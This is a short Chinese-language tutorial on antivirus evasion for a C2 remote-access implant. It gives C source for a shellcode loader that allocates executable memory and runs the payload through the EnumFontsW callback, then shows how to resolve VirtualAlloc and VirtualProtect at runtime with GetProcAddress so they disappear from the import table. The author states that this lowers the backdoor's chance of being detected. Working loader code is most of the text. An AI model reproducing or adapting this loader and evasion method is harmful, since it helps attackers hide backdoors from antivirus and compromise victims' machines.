【免杀】C2远控-Loader加载器-动态API调用

#include <Windows.h>

unsigned char shellcode[] ="";

void CallBack() {

    void* p = VirtualAlloc(NULL, sizeof(shellcode), MEM_COMMIT, PAGE_EXECUTE_READWRITE);
    memcpy(p, shellcode, sizeof(shellcode));

    /*
    * EnumFontsW是Windows API，用于枚举系统中所有可用字体
    * 参数1：设备环境句柄，表示要枚举哪个设备的字体
    * 参数2：NULL表示枚举所有字体
    * 参数3：回调函数指针，用于处理每个枚举到的字体信息
    * 参数4：回调函数参数
    */
    EnumFontsW(GetDC(NULL), NULL, (FONTENUMPROCW)p, NULL); //回调函数

}

int main() {
    CallBack();
}

填入自己的shellcode
编译程序测试上线，测试成功

站在杀毒程序立场上对后门进行分析

PE查看后门导入表

可以看到代码里面的一些函数

杀毒软件也可以看到这些封装的函数，它会重点关注这些封装的关键函数。
动态调用就是不封装在这里面，绕过杀毒对导入表的检测定性

例：动态调用VirtualProtect函数

动态调用模板代码

typedef BOOL(WINAPI* vp)(
	LPVOID      Address,
	DWORD       size,
	DWORD       New,
	PDWORD      Old
	);
vp vip = (vp)GetProcAddress(
	GetModuleHandleA("Kernel32.dll"),
	"VirtualProtect"
);

例子：对回调loader进行某函数动态API加载

这里我对VirtualAlloc函数进行动态调用
联机搜索，然后替换

该代码片段用于动态获取 Kernel32.dll 库中 VirtualAlloc 函数的地址。
要一一对应

然后替换这个

重新生成程序，用pe查看，发现查看不到 VirtualAlloc 函数了
那么杀毒软件按照这个逻辑检测也就看不到这些关键的函数了。自然也就不会着重查看这些函数了。
同理也可以将其他的关键函数都进行动态调用，那么你后门的特征就更少了，被杀毒软件的检测到的可能性也就降低了。